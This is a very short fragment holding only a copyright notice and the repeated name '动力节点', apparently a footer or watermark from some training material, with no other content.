 Copyright©动力节点

动力节点